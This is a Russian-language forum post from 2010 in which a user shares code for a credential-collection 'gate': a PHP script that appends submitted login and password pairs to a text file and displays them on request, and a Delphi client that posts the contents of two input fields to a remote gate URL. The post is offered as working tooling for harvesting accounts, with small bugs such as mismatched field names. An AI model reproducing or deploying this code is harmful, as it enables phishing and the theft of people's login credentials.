Показать сообщение отдельно

  #10  
Старый 10.03.2010, 21:46
RedFern.89
Постоянный
Регистрация: 20.01.2010
Сообщений: 338
С нами: 8582863

Репутация: 69
По умолчанию

чуваки))) двайе не будем мозги ипать)))

вот код для отправки на гейт))

вод код гейта

PHP код:
<?php
error_reporting
(0);
$accs = 'good.txt';
$good = fopen($accs,"a+");
if(!empty(
$_POST['login']) && !empty($_POST['password'])) { 
fwrite($good, "$_POST[login]:$_POST[password]\n");
}
fclose($good);
fclose($bad);
if(isset(
$_GET['act']) && $_GET['act'] == 'show') {
$file = str_replace("\n",'<br />', file_get_contents('good.txt'));
echo 
$file;
}
вот код отправки
Код:
uses idHTTP;

procedure Button1Click(sener: TObject);
var
  HTTP: TidHTTP;
  Data: TStringList;
begin
  HTTP := TidHTTP.Create(nil);
  Data := TStringList.Create;

  with Data do
  begin
    Add('login=' + edit1.text);
    Add('pass=' + edit2.text);
   end;

 HTTP.Post('http://site.ru/gate.php', Data);

 Data.Free;
 HTTP.Free;
end;
 
Ответить с цитированием